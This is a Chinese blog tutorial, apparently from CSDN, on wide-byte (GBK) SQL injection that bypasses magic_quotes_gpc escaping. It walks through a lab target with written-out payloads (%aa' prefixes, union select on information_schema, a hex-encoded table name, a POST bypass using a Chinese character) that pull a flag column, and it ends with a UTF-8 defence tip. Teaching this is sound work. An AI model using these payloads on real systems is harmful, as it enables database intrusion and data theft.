渗透测试基础-宽子节注入

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!

因为电脑最初是由美国人发明的,所以他们的语言,在某种程度上,更具有统一性,比如现在大多数的数据库或者CMS都采用的UTF-8的编码,只有少部分数据库会采用非英文编码的格式来解析代码。我们中国也有自己的编码格式:GBK编码,这也是宽子节当中一个关键点。

宽子节注入出现的原理

先来介绍一个PHP的防御函数 ,魔术引号:magic_quotes_gpc()

magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如果有:post,get,cookie过来的数据增加转义字符"\",以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误

单引号'',双引号"",反斜杠\,与空字符(NULL),都会被在前面在加上一个反斜杠线,这样就会让恶意语句的某些功能失效,以达到防护的作用。

GBK编码
GBK是一种多字符编码。他使用了双字节编码方案,因为双字节编码所以GBK编码汉字,占用2个字节。一个UTF-8编码的汉字,占用3个字节。我们可以通过百度查看一下

在这里插入图片描述
%5c\的编码之后的结果,当前面输入%5d,或者其他数值时,与%5c相结合,就组成了汉子,这样 单引号之前的转义符号“\”就被吃掉了,单引号就逃逸出来,从而转义失败

通常我们在做测试时,预定义字符前不一定只能用%5c ,%aa,%df都可以
在这里插入图片描述
在这里插入图片描述

宽子节靶场演练

在这里插入图片描述
进入靶场有看到,当前是在单引号内的,我们还是和以前一样,先用单引号去闭合,然后在输入测试语句。

测试语句:
'and 1 like 2-- qwe

在这里插入图片描述

这里有看到,页面并没有显示失败,而问题点也出在这,我们的语句并没有正常闭合,输入的单引号被反斜杠转义了。这里我们继续对其进去宽子节的方法测试。

测试语句:
%aa' and 1 like 2-- qwe
在这里插入图片描述
经过添加%aa之后,测试语句生效了,我们这里得先获得字段数,在进行其他的测试。

测试语句:
%aa' order by 1-- qwe

在这里插入图片描述
测试发现这里为三个字段,也确定了显错点在哪

测试语句:
%aa' and 1=2 union select 1,2,3-- qwe

在这里插入图片描述
得到显错点为2,3,将table_name填写到2的位置,确定这里的表名是什么

测试语句:
%aa' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1-- qwe

在这里插入图片描述
得到表名,在去确认字段名

测试语句:
%aa' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 limit 1,1-- qwe

因为这里填写表名是需要加上单引号的,但这里又用不了,所以得将到的表名,做了一次16进制转换在输入

在这里插入图片描述
有了表名和字段,就差最后一步获得数据。

测试语句:
%aa' and 1=2 union select 1,C_Flag,3 from china_flag limit 0,1-- qwe

在这里插入图片描述
这里GET传参的宽子节会了,在来简单说一下,POST传参的宽子节是如何进行的

POST宽子节注入

在这里插入图片描述
进入到靶场的题目,我们直接用刚刚的测试语句来试一下这里

测试语句:
%aa')or 1=1-- qwe
在这里插入图片描述

这里有看到,%aa并没有和\一起编码,所以这里的单引号被反斜杠转义了,也就不能没有达到闭合前者语句的效果,那既然他这不帮忙编码,我们能不能直接输入汉字测试呢?

测试语句:
汉')or 1=1-- qwe

在这里插入图片描述
直接输入汉字之后,语句得到了执行,所以跟着在后面执行刚刚的sql注入语句就能正常获得flag数据。

漏洞总结

宽子节注入的防护方法,可采用统一网站和数据库编码为UTF-8的模式,就能在根本上杜绝宽子节注入的发生

《最好的防御,是明白其怎么实施的攻击》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jinxya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值